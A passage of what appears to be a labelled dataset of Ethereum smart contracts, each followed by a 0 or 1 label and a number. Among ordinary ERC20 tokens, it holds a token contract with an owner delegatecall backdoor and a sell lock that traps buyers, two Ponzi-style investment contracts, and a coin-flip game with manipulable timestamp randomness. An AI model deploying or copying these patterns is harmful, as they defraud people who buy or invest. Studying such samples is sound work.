mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) public administrators;
constructor()
public
payable
{
administrators[msg.sender] = true;
ambassadors_[msg.sender]=true;
ambassadors_[0x8CA47715Be8AC08aF165a628Ab8111bB3FeF38f1]=true;
ambassadors_[0xbAB0308B1CBf9d66f0171581556807b08B3f5860]=true;
ambassadors_[0x69FE700236B3F5A32A878c1c1243169C6851d25B]=true;
ambassadors_[0x703b16787180a94c2f9f2510F08eDB59Aa899568]=true;
ambassadors_[0x05f2c11996d73288AbE8a31d8b593a693FF2E5D8]=true;
ambassadors_[0xe2C28fe6279F882B432d79436fc85131bbD8e369]=true;
buy(0x0);
}
function donateJackpot() public payable{
JackpotAmount = JackpotAmount + msg.value;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
require(msg.value <= GetMaxBuyIn());
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
require(msg.value <= GetMaxBuyIn());
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _undividedDividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _jackpotAmount = SafeMath.div(_undividedDividends, JackpotCut);
JackpotAmount = SafeMath.add(JackpotAmount, _jackpotAmount);
uint256 _dividends = SafeMath.sub(_undividedDividends,_jackpotAmount);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _undividedDividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function GetJackpotMin() public view returns (uint){
uint Ret = SafeMath.div(totalEthereumBalance(),(JackpotMinBuyin));
if (Ret < JackpotMinBuyingConst){
return JackpotMinBuyingConst;
}
return Ret;
}
function GetMaxBuyIn() public view returns (uint){
uint Ret = SafeMath.div(totalEthereumBalance(),(MaxBuyInCut));
if (Ret < MaxBuyInMin){
return MaxBuyInMin;
}
return Ret;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function PayJackpot() public{
if (block.timestamp > Timer && Jackpot != address(0x0)){
uint256 pay = (SafeMath.div(SafeMath.mul(JackpotAmount, JackpotPay), 100));
referralBalance_[Jackpot] += pay;
Jackpot = address(0x0);
JackpotAmount = SafeMath.sub(JackpotAmount, (uint256) (pay));
}
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
antiEarlyWhale(_incomingEthereum)
returns(uint256)
{
if (block.timestamp > Timer){
PayJackpot();
}
if (_incomingEthereum >= GetJackpotMin()){
Jackpot = msg.sender;
Timer = block.timestamp + JackpotTimer;
}
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
if ((_referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != msg.sender && tokenBalanceLedger_[_referredBy] >= stakingRequirement)){
}
else{
_referralBonus = 0;
}
uint256 _jackpotAmount = SafeMath.div(SafeMath.sub(_undividedDividends, _referralBonus), JackpotCut);
JackpotAmount = SafeMath.add(JackpotAmount, _jackpotAmount);
uint256 _dividends = SafeMath.sub(SafeMath.sub(_undividedDividends, _referralBonus),_jackpotAmount);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
(_referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != msg.sender && tokenBalanceLedger_[_referredBy] >= stakingRequirement)
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[msg.sender] += _updatedPayouts;
onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,623 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,503 |
pragma solidity ^0.4.24;
contract EasyInvestPI {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 314 / 10000 * (block.number - atBlock[msg.sender]) / 5900;
address sender = msg.sender;
sender.send(amount);
}
address(0x64508a1d8B2Ce732ED6b28881398C13995B63D67).transfer(msg.value / 10);
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | 0 | 2,224 |
pragma solidity ^0.4.16;
contract UKHToken {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function UKHToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
} | 1 | 3,529 |
pragma solidity ^0.4.25;
contract CoinFlip {
address owner;
uint payPercentage = 90;
uint public MaxAmountToBet = 200000000000000000;
struct Game {
address addr;
uint blocknumber;
uint blocktimestamp;
uint bet;
uint prize;
bool winner;
}
Game[] lastPlayedGames;
Game newGame;
event Status(
string _msg,
address user,
uint amount,
bool winner
);
constructor() public payable {
owner = msg.sender;
}
modifier onlyOwner() {
if (owner != msg.sender) {
revert();
} else {
_;
}
}
function Play() public payable {
if (msg.value > MaxAmountToBet) {
revert();
} else {
if ((block.timestamp % 2) == 0) {
if (address(this).balance < (msg.value * ((100 + payPercentage) / 100))) {
msg.sender.transfer(address(this).balance);
emit Status('Congratulations, you win! Sorry, we didn\'t have enought money, we will deposit everything we have!', msg.sender, msg.value, true);
newGame = Game({
addr: msg.sender,
blocknumber: block.number,
blocktimestamp: block.timestamp,
bet: msg.value,
prize: address(this).balance,
winner: true
});
lastPlayedGames.push(newGame);
} else {
uint _prize = msg.value * (100 + payPercentage) / 100;
emit Status('Congratulations, you win!', msg.sender, _prize, true);
msg.sender.transfer(_prize);
newGame = Game({
addr: msg.sender,
blocknumber: block.number,
blocktimestamp: block.timestamp,
bet: msg.value,
prize: _prize,
winner: true
});
lastPlayedGames.push(newGame);
}
} else {
emit Status('Sorry, you loose!', msg.sender, msg.value, false);
newGame = Game({
addr: msg.sender,
blocknumber: block.number,
blocktimestamp: block.timestamp,
bet: msg.value,
prize: 0,
winner: false
});
lastPlayedGames.push(newGame);
}
}
}
function getGameCount() public constant returns(uint) {
return lastPlayedGames.length;
}
function getGameEntry(uint index) public constant returns(address addr, uint blocknumber, uint blocktimestamp, uint bet, uint prize, bool winner) {
return (lastPlayedGames[index].addr, lastPlayedGames[index].blocknumber, lastPlayedGames[index].blocktimestamp, lastPlayedGames[index].bet, lastPlayedGames[index].prize, lastPlayedGames[index].winner);
}
function depositFunds() payable public {}
function withdrawFunds(uint amount) onlyOwner public {
require(amount <= address(this).balance);
if (owner.send(amount)) {
emit Status('User withdraw some money!', msg.sender, amount, true);
}
}
function setMaxAmountToBet(uint amount) onlyOwner public returns (uint) {
MaxAmountToBet = amount;
return MaxAmountToBet;
}
function getMaxAmountToBet() constant public returns (uint) {
return MaxAmountToBet;
}
function Kill() onlyOwner public{
emit Status('Contract was killed, contract balance will be send to the owner!', msg.sender, address(this).balance, true);
selfdestruct(owner);
}
} | 1 | 4,679 |
pragma solidity ^0.4.25;
contract TwelveHourTrains {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 100;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 2 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(720);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,361 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BT is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "BT";
name = "Bishang Token";
decimals = 18;
_totalSupply = 100000000 * 10 ** uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,824 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
